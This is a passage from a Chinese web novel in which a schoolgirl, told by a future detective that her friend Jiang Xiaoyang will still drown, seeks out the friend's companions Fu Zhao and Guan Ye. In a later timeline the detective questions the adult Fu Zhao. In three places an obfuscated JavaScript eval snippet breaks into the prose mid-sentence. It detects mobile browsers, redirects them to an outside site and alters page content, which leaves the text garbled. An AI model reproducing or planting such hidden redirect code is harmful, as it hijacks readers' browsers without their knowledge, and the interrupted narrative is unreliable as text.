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她收起卷子,恰好5220XM的屏幕上也跳出了舒任的回复,林语禾顿时眉开眼笑,不知道舒任会回复她什么? “恭喜”? “你太厉害了”? “佩服”? 反正她是来者不拒,什么样的赞美对她现在来说都是多多益善,林语禾笑得梨涡深深,哼着小曲儿打开了备忘录的界面。 然而里面的那条新增留言,却和她想象中迥然相反。 【没有】 四个字,令她如坠冰窟。 林语禾嘴角的笑意慢慢地垮了下来,她捧着手机,怔怔地看着屏幕上显示出来的两个字。 舒任在骗她吧。 怎么会没有呢……怎么他能说没有呢! 不可能没有啊!明明晓阳答应了她,绝对不会去游泳,也不会下水,明明她们约定的时候,晓阳的表情那么真诚。 为什么……应该改变的未来,没有到来? 为什么,晓阳还是死了? 37. 第 37 章 林语禾自然不能接受这个结果。 她想不出是哪个环节出了问题,而涌上心头的,更多还是伤心和失望。 到底是什么原因,让晓阳不惜对她说谎,也要在这么寒冷的天气下去游泳? 明明晓阳昨天还亲口对她说,自己最讨厌的就是和水有关的东西。 她吸着鼻子打字。 【那几个和晓阳一起出事的学生,是她的好朋友吗?】 【不是】 舒任回复得很快,林语禾看着上面确定的答案,心里更加茫然。 她唯一能想出来的理由,就是那些人和晓阳关系极好,才会一起冒着风险跑去江边野泳,最后出了意外。 可舒任却否认了这一点。 就在林语禾怔怔出神的时候,备忘录却出现了新的留言。 【关野和傅昭,这两个人的名字你有没有印象?】 关野……傅昭?林语禾脑海里努力回忆了一会儿,结论是否,又反问舒任这两人是谁,过了一会儿,舒任那边来了回信。 【卷宗陈述,两人与姜晓阳是朋友。】 【他们没有去吗?】 【没有】 林语禾看着这句话,怔了怔,晓阳去了,这两个人却没有去……她忽然想到一种可能,也许他们对这件事压根就不知情。 那有没有可能,她可以去求助这两个人! 尽管对这两个人一无所知,但林语禾对自己现在的交际能力很有信心,至少……至少和对方搭上话没问题! 实话说,就算是有问题她也顾不上了。 未来没有更改,她现在每时每刻都跟热锅上的蚂蚁似的,明明事情眼见着柳暗花明,却转眼间就山穷水尽,跟过山车一样的体验,让自认“改变世界并不难”的林语禾,自信心下降了许多。 【我想去找他们,你知道在哪儿可以找到他们吗?】 …… 10月5日,距离溺亡案倒计时3天。 林语禾一连好几天都是清早出门,今天常女士说什么也押着她在凳子上,硬是把那碗“母爱满满”的红糖荷包蛋给喝了,才放她出门。 高情商地说,常女士的手艺还有很大的进步空间,说直白点,她妈做出来的荷包蛋拿给母鸡看,母鸡都要摇头说它生不出来这么难吃的蛋。 林语禾背着挎包,今天她最主要的任务就是要拜托晓阳的两个好友,和她一起劝说晓阳不要去以身犯险。 直到现在她也不理解晓阳为什么要做这件事,姜家的模样在她脑海中一闪而逝,有一瞬间,林语禾脑海里隐约浮起了“姜国栋”三个字。 但她很快摇摇头,把这些胡思乱想按在了内心深处,现在重点是要找到那两个人,和他们谈谈晓阳的事情。 林语禾下了公交车,车门在她身后缓缓关闭,她看向手机上的第一个地址。 地址是舒任给她的,信息来源是这场溺亡案的卷宗,对舒任的话,林语禾完全信任,带着这份地址,她就毅然决然地踏上了寻人之旅。 只是沿江公园74号,这个位置怎么看怎么眼熟? 她攥着手机往前走,终于看到了那个熟悉的小灯箱,写的却不是家常小炒,而是米粉米线面条。 还没到中午饭的点,这家家常炒菜馆,摇身一变又变成了早餐粉面店。 这在宣城其实并不罕见,这座小城的人口并不如大城市那么多,一家做夜宵的店都会在早上推着小车出来卖包子油条,炒菜店兼职卖卖米粉面条,也是寻常。 只是林语禾没想到,里面正忙前忙后的那个少年,竟然就是晓阳的好友之一。 傅昭。 明明昨天她和晓阳来这里吃饭,他表现得就像是完全不认识晓阳一样……不对,林语禾后知后觉地想起来,难道那瓶汽水,是傅昭自己送的? 她看了眼头顶的太阳,踟蹰了一下,想了想,还是硬着头皮进了店里。 国庆是餐饮业最忙碌的时候,更不要说这会儿时间不早不晚,十点半,有人把粉面当早饭,有人当午饭,总之所有桌子上都坐得满满当当。 大多数还是与人拼桌,幸好粉面不比点菜那么麻烦,人们来得快,走得也快,林语禾瞅着一个空档,小心翼翼地坐下来。 傅昭很快迎了上来,他似乎并没有认出她就是昨天和晓阳一起的人,也或许是因为太忙,他一边手脚利落地收拾桌上的残余,一边问。 “欢迎光临,要点些什么?” 林语禾为难地看了眼墙上的招牌,价格倒是都不贵,宣城普通小店的消费标准,但问题是……她一点也不饿。 早上出门之前那顿荷包蛋比她想象中还噎人,常女士还唯恐女儿挨饿,恨不得铺在下头的红糖水里加满红枣核桃,滋味先不提,哪怕坐了好一阵公交车,也还是在她胃里晃荡。 非常实在地撑。 但她要想和傅昭搭上话,似乎也只能在店里这一个机会了,林语禾眼神游移半天,只能“高子里拔矮个”,选了个看上去份量最不多的—— “要一碗素小面。” “好嘞。” 傅昭三两下就把桌子收拾得干干净净,记着她点的东西去后厨转述。 掌厨的厨师似乎是他舅舅,脾气听上去不太好,后厨那边没多久就传来厨具乒里乓啷的声音,林语禾收回视线,看向了那个眼镜少年单薄的背影。 舒任告诉她,傅昭很小的时候,他父母就出车祸去世了,之后他就一直寄居在舅舅和舅妈家里。 这个小店,无疑就是他舅舅家的生意,傅昭在这里帮工看上去是家常便饭,无论是打扫还是点单上菜,他每一项都处理得井井有条。 只是店里实在是太忙了,这头傅昭刚把她的素小面端上来,又马不停蹄地去给另一桌擦桌子,点单。 时不时还有人叫他开瓶汽水或是啤酒,傅昭也一一应下,整个人像是分了三头六臂,抽陀螺似的忙个不停。 哪怕是十月微凉的天气,他身上的衬衫也已经是湿透了又干,干了又湿,眼镜上起了雾,也只能匆匆忙忙用衣角擦一擦,又投入新一轮的忙碌中。 林语禾伸手在筷筒里拿了双筷子,碗离她有些远,她伸手往自己这边推了推,被碗壁的温度给烫了个猝不及防。 好烫! 她反射性地把手指捏上耳垂,这还是小时候常女士教她的,说是能缓一缓烫到的痛楚,当然林语禾也不知道这中间到底有什么依据就是了。 她只是有些难以想象,自己碰一碰都忍不了的滚烫温度,傅昭是怎么一碗又一碗地送上桌来,连眉头都不皱一下? 面条搅拌均匀,她浅浅吃了一口,评价为很一般……也或许是因为她早上吃太饱了,反正没什么让人大快朵颐的愿望。 而且她之前的想象有些过分天真,素小面它虽然素,但二两面条就是实打实的二两面条,一点也没掺水分,垒在碗里头满满当当一大碗,让人看了心里就没底。 吃不完,肯定吃不完。 林语禾叹了口气,干脆放下筷子,目光去寻找傅昭的身影,反正她也不是真来这儿吃面条的,先和傅昭说上话比较要紧。 她瞧见一个机会,连忙出声喊道:“傅昭!” 傅昭转过头来,左右看了看,最后有些疑惑地看着她:“叫我吗?是要点什么东西吗?” 林语禾还没来得及说话,后厨那边有人嚷嚷起来:“傅昭,拿瓶冰可乐给我!” 林语禾循声望去,临近后厨那儿有张塑料凳,占据了半个过道,傅昭回回从那儿进出都得侧着身子小心翼翼,原来上头坐了个人。 是个与傅昭年纪看起来差不多大的男生,脸上的褶子肉却长了足有三层深,跟弱不禁风的傅昭摆在一起能把后者摆得严严实实。 傅昭身上都是汗,他也一脸的油汗,却不是因为忙碌,而是因为胖得出奇,就这会儿手上还拿着零食吃得嘴巴边上都是碎渣,林语禾皱了皱眉,还没过两秒钟,就听见他又扯着嗓子喊: “傅昭,聋了听不见啊!” “不好意思,稍等一下。”傅昭对林语禾抱歉地笑笑,又连忙去给那男生拿东西,“马上,来了。” 傅昭手脚利落地开了瓶冰可乐送过去,傅涵还是翻了个白眼,一点好脸色也没给他。 后厨那个膀大腰圆的中年女人探出头来,竖着眉毛斥道:“傅昭,站着磨什么洋工呢,赶紧过来端面——这贱皮子一天天的不收拾,就知道躲懒!” “就是,供你吃供你穿,跟个白眼狼似的眼里一点活儿都没有!”傅涵幸灾乐祸地附和着,嘴巴里的零食嚼得喷香,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519904|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠骂!” 傅昭应了一声,正好门口又进来两个客人,桌子没清理出来,两人皱着眉头:“怎么桌子这么脏,来个人擦一擦啊!” 他只好调转脚步,先过去擦桌子,又殷勤地问要点什么。 那胖子盯着傅昭后背做了个鬼脸,后厨女人叫他:“涵涵,饿不饿,妈妈给你下碗面条?” 傅涵抹了把嘴:“我才不吃面,我要吃肯德基!” “好好好,妈给你零花钱,中午去吃肯德基啊——傅昭,我叫你端面,这臭崽子心都是烂的,跟他死了的爹妈一样不中用!” “……” 林语禾抬头看了一眼墙上的钟,十一点,已经进入中午最忙碌的饭点了。 傅昭就是动作再快,到底也不是三头六臂,整个人陷入了分身乏术的困境中,而他舅舅舅妈的亲儿子傅涵就坐在不远处,却乐得见他一个人忙前忙后,就是不伸手帮一点忙,还见缝插针地骂上几句。 林语禾迟疑着,还是又叫了一声“傅昭”。 这次傅昭连听都没能听见,他刚把门口的灯箱换了一面,吃粉面的客人们散了个七七八八,要吃炒菜的呼啦啦涌进来一大片。 一群中年男人,说话嗓门比她家老电视还破响破响的,林语禾低头瞅一眼碗里的面。 好吧,面也坨了,她也吃不下了,干脆起身结账,这收钱的时候总有机会和他说上话了吧? 可过来的却不是傅昭,而是那个油腻腻的傅涵,伸着手冲她要钱:“钱给我。” 林语禾盯着那张吃完零食擦也没擦过,混着食物残渣与汗的手,觉得更倒胃口了。 她匆匆忙忙把钱付过出了食店,走到门外回过头看,傅涵不止问她结了账,一连好几个都是他收的钱,正数着钞票乐呵。 而傅昭呢,跟头老黄牛似的,忙得头都抬不起来,脊背弯啊弯的,林语禾都担心他会不会垮掉。 这种情况下,她实在没办法找到机会和傅昭单独聊聊,好像她把他喊住哪怕一秒,他都会被舅舅舅妈给骂得狗血淋头。 她忍不下那个心。 只能暂时放弃。 清早出门的热血被这令人哑口无言的一通经历给浇灭了一半,林语禾一共损失了六块钱,和一碗动都没怎么动过的面条。 要给常女士知道,肯定要训她不了。 林语禾有些低落地翻开手机,看向了另一个地址,眼下唯一一个选择,就是先去找这个叫做“关野”的男生。 她跟着上面记录的地址,找到了巷道里的一处老房子。 老是真的老,这条街除了这处老房子,其他都已经拆得干净。 一眼看过去,那围墙高高矮矮的,不知道经历了多少风吹雨打,住在里头的人也不曾修缮过。 围墙中间簇拥着一座大铁门,上面的锁甚至还是不知道多少年前的古董样式,两只老虎头正面目凶恶地看着她。 林语禾硬着头皮上前敲了敲门:“请问这里是关野家吗?” 无人应答。 她又敲了两下,里头只传来时不时落叶坠地的声音,周围空空荡荡的连个活人也没有,林语禾后背上忍不住就激起了一层鸡皮疙瘩。 她没有对方的电话,除了这个地址,她也没什么方法能再找到这个人,可让她就这样回去,林语禾是不甘心的。 总不能遇到事情就打退堂鼓,那她还怎么救晓阳? 林语禾左右看了看,干脆顺着小巷往里走,她想着碰碰运气。 舒任昨晚上也告诉了她,关野并没有读高中,他现在主要是在外面捡破烂回收为生。 加上他腿脚不好,应该是不会奔波太远。 也许她就在这一带多转一转,就能蹲到对方? 林语禾一脚踏入又一条巷子,这附近的房屋全都已经拆了个干净,曾经涂得雪白的墙上写着大大的“拆”字,巷道中,却泾渭分明地站着两拨人。 准确地说,是一群人,和一个神情桀骜,一看就戾气十足的少年人,正在对峙。 林语禾心里一紧,暗叫一声糟糕,正想着从这剑拔弩张的氛围中悄悄溜走,那群人中的断眉青年人却嗤笑一声。 “关野,这不会就是你找来的帮手吧?一个毛都没长齐的臭丫头?” ……关野?! 38. 第 38 章 眼前这一切已经超出了她平时的日常,拿着棍棒武器的小混混,表情挑衅狰狞的对峙场面,这些只在都市传说里发生的事情,在她眼前变为了现实。 手心里渗出一层又一层的薄汗,林语禾拽紧了挎包带子,一步一步,慢慢地往后退,想要离开这个是非之地,可那群小混混不同意了。 “哎,没让你走呢!” 脚步顿住,林语禾有些惊疑不定地站在原地:“我……只是路过。” “路过?小妹妹,骗人之前先打打草稿,这附近除了那栋烂房子还能有什么东西。”那混混唾了一口,“路过?你打哪儿路过?” “……” 林语禾哑然,还真如这群人所说,这附近她一路走过来,的确什么也没有,就只有关野住的那间老房子。 而且最重要的是,她真就是来找关野的! 她还没想到理由脱身,那群混混就阴笑起来。 “哎哟喂,真是来给关野‘撑腰’的啊——怎么,打算对哥哥们用美人计啊,毛都没长齐的小丫头,你要把裙子撩起来给哥哥看一眼,哥哥今天就心软一把,少打他两棍子好不好?” 林语禾什么时候听过这么污秽不堪的话?当即又气又恼,脸颊涨得通红,她脑瓜子嗡嗡的,不远处却传来一声金属敲击地面,清脆有力的回响。 “狗嘴说不会人话就缝起来。”关野冷冰冰地说道,“那么喜欢女人,怎么不把自己割了天天看自己的?” “你——” 那混混还没来得及说话,半空中传来一声呼啸,他痛呼一声,像是只虾米似的弓下了腰,再抬起头来,竟然已经是一头一脸的血。 地上掉了半块板砖,刚刚就是它精准地命中了这人的额头,砸得他血流不止,什么话都说不出来。 “我说了,狗嘴不会说人话,就缝起来。”关野目光移向为首的青年人,“包括你。” “谁允许你这么跟东哥说话的!你算什么东西!”青年人背后的小弟叫嚷起来,又扭头告状,“东哥,就是这小子在我们地盘上撒野,那些铁管都被他卖了!” “关野,做事要讲规矩。”东哥死死地盯着关野,“不要给脸不要脸。” “你要收破烂滚去其他地方收,这里是东哥的地盘!” 回应他们的是另一块破空的板砖:“狗再叫。” 东哥脸色沉了下来:“狗杂种,给我打死他!” 混混们得了命令,顿时一拥而上, 关野满面戾气地转了转手腕,不知道从哪儿抽出一根钢管,双方顿时混战起来,一时之间没人再去关注角落里瑟瑟发抖的林语禾。 她捏着手机,手心里渗出了一层又一层的冷汗,理智上她知道自己要逃跑,要离这片混乱的区域越远越好,可感性上…… 关野就一个人,他的腿还跛着,要怎么跟这么多人打?! 几乎是本能地,林语禾抖着手,按下了110三个数字——普通人的第一反应,遇到这种事情就要找警察叔叔帮忙。 就在电话马上拨出的那一瞬间,异变陡生。 刚刚还耀武扬威,围着关野放狠话的混混们,就这几个眨眼的工夫,竟然被关野打得毫无还手之力。 哀嚎声此起彼伏,甚至有人木棍都被打折了,正捂着肚子在地上打滚。 那带头的青年也好不到哪去,也不知道关野哪来的那么大力气……不,不是力气大,这臭小子根本就是用命在跟他打,钢管抽在他身上跟被车撞了一下似的痛得五内俱焚,他一板砖打上去,关野竟然眉头都不皱一下! 血从关野额头流下来,他面无表情地伸手拽住对方衣领往自己方向一拉,趁着对方站不稳,又是狠狠一钢管打在对方背上,直接把对方打得跪了下来。 战斗力悬殊,根本没办法打,又缠斗了几个来回,东哥极为不甘心地叫了一声“走”,领着那些混混如潮水般退去。 林语禾担心他们卷土重来,捏着手机跑到了关野身边停住。 关野斜斜地靠墙站着直喘粗气,这么冷的天气,他就只穿着一件单薄的白色背心,在刚刚的打斗里已经伤痕累累,裸露在外面的肩膀上肌肉充血鼓起,能看见新旧伤疤在上面交叠。 钢管还握在他左手里,带着斑斑点点的血迹,不知道是谁的,一道疤从他耳侧斜撇下来,越发显得这人浑身有股难以靠近的威势。 他浑不在意地扫了一眼林语禾,仿佛她对他而言和这条巷子里随时要被清扫出去的秋叶没什么区别,冷淡的眼神甚至没在她身上停留多一秒,抹了一把头上的血,就打算走人。 林语禾连忙叫住他:“关野!” 男生停住脚步,漠然地看着她。 林语禾犹豫了一下:“……刚刚谢谢你帮了我。” “什么玩意儿?听不懂,离我远点。” “……” 林语禾目瞪口呆地看着他一深一浅地继续往回走,显然是回家,她追了上去:“我是来找你的——” “不认识,走开,别挡路。” ……这人脾气也太坏了! 林语禾气结,可一想到刚刚自己贸贸然冲进混战现场,要不是关野战斗力强,恐怕挨打受欺负的就是她,那股气又消了。 脾气坏就脾气坏吧,她又不是来和他交朋友的。 她安慰着自己,快跑了几步,硬是拦在了关野跟前,深吸一口气,开门见山:“我找你,是为了晓阳的事情!” “晓阳”两个字说出口,关野的表情总算是变了,他转过头来,脸上的冷漠淡了一些:“……你是谁?” “我是晓阳的朋友,我叫林语禾。” 林语禾抓了抓头发,这样正式的自我介绍让她有些不自在,可不这么说,关野肯定不会理会她,她现在已经充分意识到这个人脾气有多难打交道了。 “林语禾……”关野低低地重复着这三个字,仿佛在咀嚼什么,神色莫测,“晓阳怎么了?” 这才是正题,林语禾连忙把之前准备好的话拿出来说:“最近不是报纸上经常报道溺水嘛,我担心晓阳安全,想让你也提醒一下晓阳,让她最近不要去野外游泳什么的,安全第一嘛!” 这个理由其实并不缜密,但事情迫在眉睫,林语禾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534403|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没时间再去考虑怎么编织一个天衣无缝的借口。 她绞尽脑汁地寻找着合适的说辞:“毕竟十月了嘛,天气也很冷,下水万一着凉了对女孩子也不好。” 林语禾有些紧张地看着他,关野沉默着,却也没有转身就走,过了好一会儿,他淡淡地开口:“行,我知道了。” 他说得平静,就好像这句话和“吃饭”“睡觉”没什么区别,但对于林语禾来说,这却是生死攸关的提醒,她不禁又往前凑了凑,想向他强调这件事的重要性:“那你一定要提醒晓阳哦,如果她真的想游泳的话,也可以约我一起嘛,新世界那里不是有恒温游泳馆,十月也不会冷——” 她的话没能说完,关野的表情忽然一沉。 他粗暴地打断了她接下来的话:“说够了么?” “……什么?” “你以为你是谁?”关野挑起眉,他眉峰处也有一道伤疤,将浓眉从中一分为二,当他皱起眉头,整个人显得越发阴鸷,“宣城英雄是吧——怎么,叫你一句英雄,你还真就把自己当成了救世主,想到处发散你那无处显摆的同情心?” “……我没有!”林语禾被关野这突如其来的指责给说懵了,“我只是关心晓阳——” 关野根本不打算让她说完:“你们才认识几天?晓阳……你了解晓阳多少?你知道她喜欢什么,不喜欢什么,你知道她什么时候最伤心,什么时候会哭?” “……” “什么都不知道,只是知道一个名字,拥有对方的电话号码,就高高在上地以朋友身份自居,对别人的人生指手画脚——” 关野看着林语禾的双眼,那眼神里有令人战栗的冰冷:“你凭什么觉得你有这个资格?” “滚开,别挡路。” …… 2020,宣城四中。 距离上一次舒任回母校已经过去好几年了,那次回学校还是因为学校召集了好几个所谓的优秀毕业生,回母校给准备高考的学生们做简单演讲。 那时候舒任没想到,一直因为打篮球险些被老师划为负面典型的自己,某天竟然也能成为“学习对象”,就像现在他没想到,几年后重返学校,竟然是为了案件走访。 舒任上楼梯,与一群抱着篮球正下楼梯的学生擦肩而过。 学生们赶去上体育课占篮球场位置,只好奇地多看了这个成年男人一眼,见他一身休闲服打扮,学生们估摸着这恐怕又是哪个倒霉鬼被请来的家长,很快移开了目光。 没有引起多余的注意,这让舒任很是满意。 熟悉的教学楼走到五楼,办公室就在走廊尽头。 舒任提前并没有和这次采访的对象打招呼,幸运的是,他没有跑一趟空。 他敲了敲门,办公室的门过了那么多年还是木头质地,带着一点空心的泛音回响,随即他推开大门,正好与最角落那张办公桌上,戴着细框眼镜的年轻男人四目相对。 对方显然有些意外:“舒……舒警官?” 舒任颔首:“打扰了。傅昭老师,刚好来学校有点事,顺便想找你聊两句,方便吗?” 39. 第 39 章 “方便、方便!来,请进!” 傅昭连忙殷勤起身,小跑着过来主动帮舒任拉住了门,舒任看了一眼他手背上沾上的墨汁,说了一声“谢谢”跟在傅昭身后进了办公室。 “不好意思不好意思,我刚在改卷子,都没听见有人来了。” “没事。” 舒任环视一圈,状似不经意地问道。 “关老师不在吗?” 傅昭先折返回去整理桌面,改好的卷子仔细垒在一块儿,没改好的又放在另一边,连红笔的盖帽都没放回去,显然是打算等会接着忙活。 他又去关抽屉,手下不停,还要分心替朋友解释:“关野在班上开班会。” 舒任点了点头,趁着傅昭还在收拾桌子,看了看周围。 靠窗的位置上放了一张长沙发,平时应该就是用来接待访客,主要是家长的。 他在上面随意坐下,傅昭搓着手赶过来:“不好意思舒警官,让你久等了——要不要喝茶,我给你泡茶?” “不用,我带了水来。”舒任侧了侧身,背在双肩包侧边兜里的水壶亮了出来,傅昭“哦、哦”,有些局促地问道,“那是要聊……?” 舒任笑了笑:“就是之前那桩溺亡事件,想和你再了解了解一下几位受害者的情况……我记得你在走访的时候说,几个孩子性格都挺不错?” “对,都是好孩子。”提起那场意外,傅昭语气有些低落,“平时在学校也没有和同学起过冲突,老师都说很省心。” “傅老师好像并不生气?之前他们父母说的那些话挺伤人的,我听着都觉得伤心。” 傅昭神情有些尴尬:“……失去孩子,也是人之常情,不瞒你说,委屈是确实委屈的,但做老师这一行,受委屈也已经习惯了,家长是家长,孩子是孩子嘛。” “傅老师的想法不像是刚当老师没几年的人。”舒任调侃道,“比许多老教师的思想觉悟都要高啊。” “可能是因为这是我的梦想吧。”傅昭有些不好意思,“说出来有点羞耻,但我确实很早之前就想当老师了……一直在为这个目标努力。” 他说着,摘下眼镜在衣角擦了擦,舒任语气里有些同情:“那这次的意外,对傅老师你打击很大吧。” “是,毕竟是几条无辜的性命,说没了就没了。”傅昭叹了口气,“想想就觉得太难受了。” “班上其他学生还好吗?” “还好、还好。”傅昭说道,“大部分孩子还是很乖的,最近派出所又过来做了防溺水的宣传,效果也很好。” “那就好,如果需要心理辅导,也要及时和我们警方联系。”舒任说道,“未成年心理健康教育也是我们的重点工作方向。” 傅昭连连应声,这时办公室的门口再一次被敲响了,傅昭说了声“门没关”,门口探进来一个小心翼翼的脑袋:“傅老师……” “小雪,怎么了?”傅昭站起身来,叫小雪的女学生有些踌躇地看了沙发上的舒任一眼,后者干脆把水壶拿出来,假装喝水,避开了她的视线。 这似乎让小雪放下了一些戒备,她三两步凑到傅昭身边,压低声音和他说着什么。 傅昭脸上的笑容慢慢淡了下来,小雪说完,他轻轻点了点头:“你先回去。” 又转过头来和舒任十分抱歉地解释:“不好意思舒警官……班上有点事情需要我过去处理,你看?” “没事,我就在办公室等。”舒任笑了笑,“反正我也很久没在办公室等老师了,就当旧地重游,怀怀旧。” 这个笑话实在冷得过分,就连傅昭都没笑出来,匆匆忙忙带着小雪离开,直到确认他背影消失,舒任往后靠了靠,躺进了沙发里,喝了口水。 教学楼外面就是操场,上体育课学生们跑圈喊着口号,顺着风飘进了办公室的窗户里,像是白噪音似的听得人昏昏欲睡,舒任打开手机,工作群里没人@他,也没有师傅的未接来电。 明明是来办正事的,却莫名有种偷得浮生半日闲的错觉。 又等了好一会儿,傅昭还是没回来。 舒任有点坐不住了,低头看一眼水壶里波纹荡开的水面,将盖子盖了回去,长腿一伸,从沙发上站了起来。 一边伸展了一下身体,一边随意地在办公室里闲逛。 办公室坐的全是班主任,墙上密密麻麻贴的奖状和锦旗,全是以班集体为单位发的。 然而同样是办公桌,有些桌子一看就要宽敞一些,另一些就不那么宽裕了。 书本作业密密麻麻地堆积在一起,甚至还学高中生那样在脚边放了收纳篮,把装不下的东西塞在里头。 傅昭的就属于后者。 然而这似乎并不影响他的教学热情,桌上没批改完的语文作文上,还写着他等待收尾的批注,舒任扫了一眼,大多都是鼓励和夸奖,还细心地用波浪线画出了写得好的段落句子。 这不是某个学生的特殊待遇,而是每一份作文上都有。 除了这些卷子,就是教案,和许多老师不同,傅昭的教案有厚厚好几本,甚至里面还夹杂着各种资料,不知道是提前做了多少准备,翻阅过多少次,才能从外头就看见纸张边角的老化痕迹。 舒任想起他刚刚说的“梦想”——看来这份梦想,对傅昭的确意义非凡,毕竟没当过老师,也当过学生,十五六岁、十七八岁的青春期少年少女,正是最叛逆的时候,也是最不服管教的时候。 他也听说过,班主任往往都是学校欺负刚进学校的新老师,才会特地塞给他们,这种情况下愿意花心思去管就已是难得,更不要说还这么鞠躬尽瘁。 只是……傅昭的桌子总给人感觉太过干净了,尽管堆得密密麻麻,一眼望去,却除了教学相关的东西,什么也没有,就连他桌下的收纳箱里,也只能看见一串串教育学专业文献的书脊。 “咔哒” 舒任低下头,傅昭刚刚太匆忙,并没有把抽屉关好,锁也没有上。 他伸出手,正要把它关上,里面却有什么东西反射了一下头顶的灯光。 他顿了顿,手下用力,将抽屉拉开,比起桌面的整齐划一,抽屉里面就要凌乱许多,各种各样的发票、收据以及学生的请假条,甚至舒任还看到一本不知道什么时候塞到里面的“教师开学必读手册”。 但吸引他全部注意力的,却不是这些富有生活气息的杂物,而是在这堆杂物最上面,安静躺着的一张相片。 相框应该是用的实木定制,成本不菲,加上主人平时爱惜有加,相框在光线下呈现出淡淡的木头纹理,顺滑而柔亮。 里头的相片能看出来有不少年头了,边角都有不自然的皱褶,藏在相框的边角里,难以察觉。 这是一张三人合照,两男一女,一个戴着黑框眼镜,看上去瘦瘦弱弱,对着镜头笑容有些腼腆,另一个却笑得大大咧咧,神采飞扬。 两人一左一右,将女生簇拥在中间,大概拍摄在冬日,女生还围了一条红色的围巾,只是上面针脚看上去颇有些歪歪扭扭。 三人头挨着头,靠在一起,像极了三只抱团取暖的小动物。 尤其令人难以移开视线的是照片中少女的神情,她抿着唇,眼睛里的笑容满溢着幸福,好像能让冰雪消融。 一个名字在舒任脑海中瞬间浮现—— 姜晓阳。 死于十年前溺亡案的受害者之一。 “舒警官,不好意思我回来晚了……” 身后传来急促的脚步声,傅昭喘着粗气匆匆赶回,在看到舒任手上相片的那一瞬,他脸色十分不自然地凝固了一下,紧接着像是要掩盖自己这份不自然似的,他三两步走到了茶水台前。 “舒警官, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546038|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你渴不渴……我给你泡杯茶?” 舒任盯着他背影,若有所思,忽然笑了:“好啊,正好,我也想尝尝。” “行,那你坐会儿,我现在来——” “那张照片上的人,是姜晓阳?” “……” 傅昭的手抖了一下,他尴尬地笑了两声,从舒任的视角能看到他的胸膛急剧起伏着,过了两三秒,他的声音平缓了下来。 “……是,我、关野和晓阳的合照。” “你们关系很好。” “……是。” 傅昭侧着身,向舒任亮了一下手里的茶杯:“只有这个搪瓷杯子,舒警官别介意。” “没关系。”舒任盯着他眼睛,“当年那场溺亡案,你还记得吗?” 傅昭苦笑:“当然……我花了很长时间才走出来。” 舒任不置可否,如果傅昭有他自己说的这么洒脱,那他为什么在听到姜晓阳名字的时候反应那么激动? “也是一场意外。” “是,意外。”傅昭说道,“十年前的东西,应该已经写进卷宗很久了吧……舒警官何必明知故问呢。” “我担心你会得PTSD。”舒任说道,“比起你的其他学生,经历过两次溺亡意外事故的你更有可能产生应激反应。” 傅昭失笑:“你多虑了。” “嗯?” “意外之所以叫意外,就是因为无法预测,只有天知道。”傅昭说道,“换句话说,这就是一个人的命……恐惧也好,排斥也好,命就是命,不会因为人的想法而更改。” “这个说法听上去有点过分理智了,不像是一个语文老师会说出来的。” “语文老师就会更感性吗?” “至少我认识的语文老师是这样。” “那我可能是个例外。”傅昭说道,“但理性的世界也挺好,不是吗?没有人能抱着过去发生的事情不放,因为改变不了。” “当年姜晓阳那时候,你也是这样想的吗?” “……当然不。”傅昭慢慢地说道,“那时候想死,想得发疯。” 他语气很轻,里面的份量却一点也不轻:“舒警官应该知道,我和关野都是孤儿,那时候受过很多欺负……不夸张地说,谁对我们好,我们就会拼了命地对谁好。” “姜晓阳就是那个人。” “是。”傅昭侧耳听着热水壶烧开咕咚咕咚的声响,像是陷入了某种回忆,“我们就是一家人。” “那你有没有想过当年那场意外背后可能还有原因?” “原因?” 傅昭盯着他眼睛,不错过任何一个表情:“为什么姜晓阳要在大半夜和那几个人出去,为什么偏偏是那几个和她平时关系并不好的人?” “……” 室内安静得无以复加,两人的呼吸都像是被隐没在了凝滞的氛围之中。 咕咚。 咕咚。 只剩傅昭眼前的烧水壶还在不知疲惫地工作着。 忽然“咔哒”一声。 烧水壶的按钮跳了上去。 里头的水剧烈沸腾起来,白烟从壶嘴里飘逸而出,渐渐将傅昭的眼镜晕上一层薄雾。 ——水开了。 就在这时,门口进来一个高大的男人,他走路有些不稳,深深浅浅的,却丝毫不减身上那份气势。 手臂里夹着庞大的三角尺,刚踏进办公室,他就注意到了里面还有两个人,顿时愣了愣。 “舒警官?” 舒任将视线从傅昭脸上移开,友善地点了点头:“关老师,你好。” “你好,舒警官今天来,是……?”关野下意识看向了傅昭,后者轻轻苦笑了一声,呼出一口浊气。 “问问咱们溺亡案的事情,还有——” “晓阳的事情。” 40. 第 40 章 关野在原地愣了一下,连脚步都迟滞了一秒,才“哦”了一声,埋头匆匆回到了自己的办公位上。 舒任缓缓说道:“我看到了你们以前的合照。” 